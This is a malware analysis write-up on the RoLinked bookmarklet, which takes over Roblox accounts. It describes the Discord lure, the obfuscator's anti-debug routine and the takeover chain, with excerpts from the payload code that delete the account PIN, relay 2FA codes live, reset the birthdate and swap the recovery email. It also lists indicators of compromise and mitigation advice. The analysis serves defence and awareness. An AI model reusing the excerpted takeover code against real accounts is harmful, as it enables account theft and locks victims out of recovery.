Deobfuscating RoLinked, the Bookmarklet That Steals Roblox Accounts in Real Time
TL;DR
No Text To Speech put out a video walking through this exact flavor of Roblox account-stealing scam, the kind where you drag a bookmarklet onto your bookmarks bar and click it while sitting on roblox.com. I had seen these things referenced in passing for years but never actually pulled one apart, so I grabbed a sample circulating under the RoLinked / VlK Games branding and sat down to see what a fully weaponized version of that trick looks like once you strip away ~490KB of obfuscation.
Malware Analysis
How Victims Actually Get Here
Nothing below starts until someone actually drags that bookmarklet onto their bar, and the campaign spends real effort getting people there. It starts with a Roblox DM: someone claiming to be a lead developer at a game studio, VlK Games, offers to pay you for permission to use an outfit you're wearing in their game, and asks you to join their Discord and ping the dev channel about it. barleybobs' distribution write-up documents this pretext in detail. The branding isn't even new: the same pitch and logo template ran under a different studio name, "Motive Creations," as far back as April 2024. Roblox put out a public PSA about scams shaped like this one on 2024-04-25.
Once you join, the server runs a "verification" channel with a bot self-branded Ro Link, styled to resemble a legitimate Roblox-Discord linking bot like BloxLink. Clicking its "Verify Roblox" button is what actually sends you to rolinked.com and the bookmarklet instructions. The general channel gets padded with messages copy-pasted in real time from unrelated Discord servers, just enough activity to look like a real community if you don't look too closely. The operation is disposable by design: report the server and Discord terminates it, but a replacement with the same invite link is back up within about half an hour.
It's a Bookmarklet, Not a File
RoLinked doesn't ship an executable, a browser extension, or even a hosted script tag. The lure site (rolinked[.]com, rolinked[.]co) asks you to drag a link onto your bookmarks bar, then click it once you're already logged into Roblox. That link is a javascript: URI, one line, ~490KB long. Clicking it runs that code directly in the tab you already have open, with your session cookies and full DOM access to the real roblox.com page already sitting there. There's nothing to steal a login for, because the script never needs one. It rides the session you already had.
Layered Self-Defense in Front of the Payload
Before any of the interesting logic runs, the sample sets up several layers of self-protection. None of it is bespoke to this campaign; it's instantly recognizable to anyone who has fought a commercial JS obfuscator before. One check calls its own toString(), runs it through a catastrophic-backtracking regex, and feeds the result back into its own constructor. A second one regex-tests the stringified source of the anti-debug routine below for the exact shape the obfuscator expects, a nested function () {} chain, a ++variable increment, and if that shape looks wrong (renamed, reformatted, hooked), it calls that routine with a string argument instead of the number it expects. A third helper hijacks all seven console methods so nothing gets logged. Underneath all of it sits the anti-debug routine itself, wired to its own four-second interval:
window.setInterval(AntiDebug, 4000);
function AntiDebug(z) {
function K(L) {
if (typeof L === 'string') {
return function () {}.constructor('while (true) {}').apply('counter');
} else {
(('' + (L / L)).length !== 1) || (L % 20 === 0)
? function () { return true; }.constructor('debugger').call('action')
: function () { return false; }.constructor('debugger').apply('stateObject');
}
K(++L);
}
try {
if (z) return K;
else K(0);
} catch (L) {}
}Called this way, off the interval with no argument, the routine always takes the numeric branch. Every call plants a live debugger statement, then immediately calls itself again and plants another, until the call stack overflows and the surrounding try/catch quietly swallows the error. Both sides of the inner ternary construct and invoke the same bare debugger function, so the condition it looks like it's branching on changes nothing. A single four-second tick isn't one breakpoint, it's a flood of them.
The typeof L === 'string' branch never fires from the interval at all. It's reserved for the tamper-check described above, and only triggers if that check decides the code has been altered. When it does fire, it hangs the tab in an infinite loop built through the Function constructor rather than a literal while token, so a naive source scan for while (true) won't catch it.
None of this is custom-built for this campaign. It's standard debug-protection boilerplate that ships with mainstream JS obfuscators, but it was still enough to make the manual deobfuscation slow going. The commit history in the repo is basically a diary of that process: format, resolve the string array, replace what the auto-tooling missed by hand, concatenate the split literals, repeat.
The Takeover Flow
Once past both guards, the script walks through a fixed sequence before it's done with your account. Every step below is a real request against Roblox's own API, made from your own browser, using your own live session.
Eligibility Gate
Not every account is worth the risk of touching. Before doing anything destructive, the script pages through your Roblox private message inbox and archive looking for any message whose body contains the string "VlK Games", the same group name used in the Discord-recruitment DM that got you here in the first place. If it finds one, the account is treated as pre-qualified and every check below is skipped entirely.
const T = 15000; // Robux, minimum item value to bother stealing
$.ajax({
url: `https://inventory.roblox.com/v1/users/${userId}/assets/collectibles?assetType=null&cursor=&limit=100&sortOrder=Desc`,
}).done(function (res) {
let total = 0;
res.data.forEach((item) => {
if (item.recentAveragePrice) total += item.recentAveragePrice;
});
if (total > T) startTakeover();
else showNotQualifiedPopup();
});No DM on file, no free pass: it pulls your collectibles and sums each item's recentAveragePrice. Only accounts worth more than 15,000 Robux in tradeable items move forward. Everyone else gets a fake "Your account is not qualified to be linked to RoLinked" dialog and the script goes quiet.
That 15,000 figure moved. An earlier capture of this same campaign, the one NTTS covered in a video, put the bar at 2,000 Robux. Back then this step did more than just gate the theft: it would also buy a scam item on the marketplace with the victim's Robux, then quietly delete it from their inventory afterward to leave nothing behind. Neither behavior survived into the sample analyzed here. The repo's README flags the purchase step as "currently inactive," and the threshold had climbed roughly 7x by the time this copy was collected.
A Consent Prompt Built From Roblox's Own CSS
Qualified accounts get an injected modal, "RoLinked Agreement", built from Roblox's own verification-modal and accept-btn btn-primary-mdclasses lifted straight from the site it's running on. It claims RoLinked "can view your Roblox Username" and asks you to click Agree & Continue. Every popup for the rest of the flow, the PIN prompt and both 2-step verification dialogs, reuses the same trick with Roblox's modal-modern and btn-cta-md classes instead: it never has to build convincing UI from scratch, because it's borrowing yours.
Defusing the Parental PIN
Next it checks whether an account PIN is set and locked. If it's locked, you get bounced to Roblox's real settings page to unlock it yourself before the script continues (it can't do that part for you). Once it's unlocked, it deletes it outright; if no PIN was ever set in the first place, it skips the delete call entirely and moves straight to the theft step:
$.ajax({
method: 'DELETE',
url: 'https://auth.roblox.com/v1/account/pin',
success: function () {
stealAccount(null, null);
},
error: function (res) {
const metadata = atob(res.getResponseHeader('rblx-challenge-metadata'));
const challengeId = res.getResponseHeader('rblx-challenge-id');
const emailChallengeId = metadata.split('"challengeId":"').pop().split('"')[0];
handleUserVerification(emailChallengeId, challengeId, null);
}
});If Roblox lets the delete through, it goes straight to the theft step. If Roblox demands reauthentication first (the error branch), it pulls the challenge metadata out of the response headers and hands off to the same verification router used everywhere else in this chain.
Relaying 2FA Live
This is the actual centerpiece. Rather than harvest a code and reuse it later, the script checks your account's primaryMediaType and branches into one of three near-identical handlers, email code, authenticator app, or a generic one-time code, each of which injects another Roblox-styled "2-Step Verification" modal, waits for you to type in the real 6-digit code Roblox just sent you, and forwards it to Roblox's actual verify endpoint live:
$.ajax({
method: 'POST',
url: `https://twostepverification.roblox.com/v1/users/${userId}/challenges/email/verify`,
data: JSON.stringify({ challengeId: emailChallengeId, actionType: 'Generic', code: enteredCode }),
success: function (res) {
const verificationToken = res.verificationToken;
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
data: JSON.stringify({
challengeId: authenticationChallenge,
challengeMetadata: `{"verificationToken":"${verificationToken}","rememberDevice":false,"challengeId":"${emailChallengeId}","actionType":"Generic"}`,
challengeType: 'twostepverification'
}),
success: function () {
stealAccount(authenticationChallenge, btoa(`{"reauthenticationToken":"${verificationToken}"}`));
}
});
}
});The resulting verificationToken gets base64-wrapped and reused as an Rblx-Challenge-Metadata header on every privileged request afterward. Nothing is cracked and nothing is stored. The code you typed into what looks like a native Roblox prompt gets spent live, on Roblox's real reauthentication flow, seconds before the account changes hands. This is why an authenticator app doesn't save you here the way it would against a phished, replayed credential: the malware is running in the same session you're authenticating from.
The Actual Theft
With the PIN gone and a fresh reauthentication token in hand, stealAccount makes two changes that matter and one that's just bookkeeping:
const userBirthday = { birthDay: 2, birthMonth: 2, birthYear: 2022 };
$.ajax({
method: 'POST',
url: 'https://users.roblox.com/v1/birthdate',
data: JSON.stringify(userBirthday),
success: function () {
$.ajax({
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email',
data: JSON.stringify({ emailAddress: atob(randomEmail), password: '' })
});
}
});The birthdate gets set to 2/2/2022, pinning the account under COPPA's under-13 rules and cutting off most of Roblox's normal self-service recovery. The email gets swapped, with no password required since the PIN and 2FA challenge are already out of the way, to one of eight attacker-controlled Hotmail addresses baked into the script as base64. It polls the email endpoint afterward and retries the swap if it didn't stick. Once the new address shows as verified, a separate poller fires a logout against auth.roblox.com/v2/logout, kicking the real owner out while the attacker holds a verified recovery email on an account that now believes its owner is two years old. Separately, the very first thing the script does after confirming you're logged in, before any eligibility check runs, is fire a friend request at the operator's own alt account (@slimeBallBack7, ID 6045232974). It's unconditional, so it's not a signal that a run actually succeeded, just that the bookmarklet was clicked at all.
The Real Primitive: Your Own Session
Nothing in this chain is exotic. There's no exploit against Roblox itself, no credential database, no cracked password anywhere. Every single request is a normal, correctly-authenticated call against Roblox's real API endpoints, made from your own browser with your own cookies. The bookmarklet doesn't need to break Roblox's security model. It just needs thirty seconds of your already-open, already-logged-in tab, and a UI convincing enough that you keep typing codes into it.
Where the Stolen Items Go
This part isn't from the code. It's what NTTS traced by hand after the fact, so treat it as reporting rather than something recovered from the payload. Stolen inventories get resold through a Discord marketplace server called "The Stock," where the operator (Discord handle infiniteblox, identified after a self-inflicted slip pinging the entire server) holds a "Top Stalker" seller role and has listed batches upward of 25,000 Robux in stolen items, payment in cryptocurrency only, at a steep discount. The marketplace's own community reportedly knows exactly who he is and what he does, and doesn't act on it: he's a regular seller, and reporting him would cost the server business. The video also describes the theft chain going further than what the recovered sample shows, hijacking a compromised account's Roblox group payout settings so revenue gets redirected before the account changes hands. I didn't find that specific behavior in the sample analyzed here, so take it as a video-only claim rather than something independently confirmed in code.
MITRE ATT&CK Mapping
Based on the recovered payload plus the distribution chain documented above:
T1566Phishing: initial contact happens through a Roblox DM and a Discord server built to impersonate a legitimate Roblox-Discord linking flow, well before any code runs.T1027Obfuscated Files or Information: string-array obfuscation with an index-rotating decoder, plus self-defending and debug-protection wrappers around the whole payload.T1622Debugger Evasion: a recursiveAntiDebugroutine firing every four seconds, droppingdebuggerstatements or an infinite loop built via theFunctionconstructor to defeat casual devtools inspection.T1204User Execution: the entire payload only runs because the victim drags a bookmarklet onto their bookmarks bar and clicks it themselves, on a page they're already logged into.T1656Impersonation: every injected prompt, the RoLinked Agreement modal, the PIN dialog, both 2FA dialogs, is built from Roblox's own CSS classes to look native to the site it's running on.T1111Multi-Factor Authentication Interception: real 2FA codes typed by the victim are relayed live to Roblox's actual verification endpoints and the resulting reauthentication token is reused for subsequent privileged calls, rather than being stored or brute-forced.T1098Account Manipulation: birthdate and recovery email are both overwritten to lock the legitimate owner out of normal account recovery.T1531Account Access Removal: a forced logout is issued once the attacker-controlled email verifies, ending the victim's own session.
Indicators of Compromise
Cross-referencing against an independent analysis by barleybobs, who tracked this campaign's infrastructure and email rotations over several months: the eight-email batch recovered from this sample matches their entry dated 2024-07-15, right around when this sample was collected, and their write-up fills in a few things this one sample alone couldn't show, the domain's hosting history and a second, now-terminated collector account this campaign ran before the current one.
| Type | Value | Notes |
|---|---|---|
| Domain | rolinked[.]com | Primary lure site hosting the bookmarklet. |
| Domain | rolinked[.]co | Secondary lure domain, same campaign. |
| Registrar | PSI-USA | rolinked.com was first registered through Hostinger on 2024-04-15, then moved to PSI-USA on 2024-05-18, per barleybobs' RDAP research. |
| Hosting | ns70.hosterbox.com, ns71.hosterbox.com | Also associated with ServerMania, fronted by Cloudflare and Verdina. Cloudflare flagged the domain as suspected phishing on 2024-07-19; the site went offline (account suspended) 2024-07-22 and was back up by 2024-08-04. |
| Roblox Group | VlK Games (ID 34265071) | Recruitment-DM branding and Discord invite source active as of this sample. |
| Roblox Group (retired branding) | Motive Creations (ID 34125328) | Same pitch and logo template under an earlier studio name, active by April 2024. |
| Roblox Account | @slimeBallBack7 (ID 6045232974) | Operator's alt account, receives an unconditional friend request from every account that runs the bookmarklet while logged in, not just compromised ones. In use since 2024-06-08. |
| Roblox Account (retired) | ID 5762605139 | The friend-request target this campaign used before @slimeBallBack7. Since terminated by Roblox. |
| Discord Account | infiniteblox (ID 934401513734950912) | Attributed to the operator per the source repo's README; per NTTS's video, also the identity reselling stolen items. |
| Discord Server | "The Stock" | Third-party marketplace server where the operator resells stolen Roblox items, per NTTS's video. Not independently verified beyond that report. |
| Behavioral | Birthdate silently set to 2/2/2022 | Locks account recovery under COPPA rules; a strong signal a Roblox account has been hit by this exact script. |
| Emails | albertinaguerrero1971, alwine.lenora_1989, archibaldalexandra64, aldridgeangela13, anitabaldwin50, alicebirch40, archibaldmary94, alyssagilmore09 (all @hotmail.com) | Base64-encoded in the payload; one is chosen at random as the replacement recovery email. This is one batch among several, the operator rotated in a fresh set roughly every one to three weeks from May through August 2024. |
Prevention and Mitigation
To avoid falling for something like this:
- A DM offering to pay you for your outfit or asking you to join a Discord server to "verify" your account is the opening move, not a real business inquiry, legitimate Roblox-Discord linking has never required a bookmarklet.
- Never drag a link into your bookmarks bar or paste code into your address bar because a website told you to, regardless of what it claims to do. That instruction is the entire attack.
- Treat any prompt that shows up mid-browsing asking you to "agree" to link a third-party service to your account, especially one styled to look exactly like the site you're on, as hostile by default.
- A 2FA code you're typing into a page you didn't navigate to yourself is a code you're handing away, authenticator apps don't protect you from a live relay running in the same tab.
- Treat an unexpected logout, a changed email, or a changed birthdate as an active compromise in progress, not a glitch.
If you suspect an account has already been hit:
- Contact Roblox support directly and reference an unauthorized birthdate and email change, don't try to recover through the email now on file.
- Check for a pending friend request to
@slimeBallBack7or an unfamiliar friend as a sign the script ran to completion. - Revoke sessions and re-enable a PIN and 2FA the moment access is restored.
To help take the campaign itself down:
- Report the fake linking bot to Discord's developer / trust & safety team, reporting the server alone doesn't help, a replacement with the same invite is back within about half an hour.
- Report the lure domain to Google Safe Browsing and Microsoft Defender SmartScreen so browsers start blocking it directly.
Takeaway
The obfuscation and the anti-debug loop are the part that takes hours to pick apart, but they're not what actually steals the account. What steals the account is a UI good enough that a real user keeps clicking Agree and keeps typing in codes, while the script quietly spends every one of them against Roblox's real API in real time. No password ever gets guessed, no session token ever gets exfiltrated. The browser that ran the bookmarklet was the entire attack surface.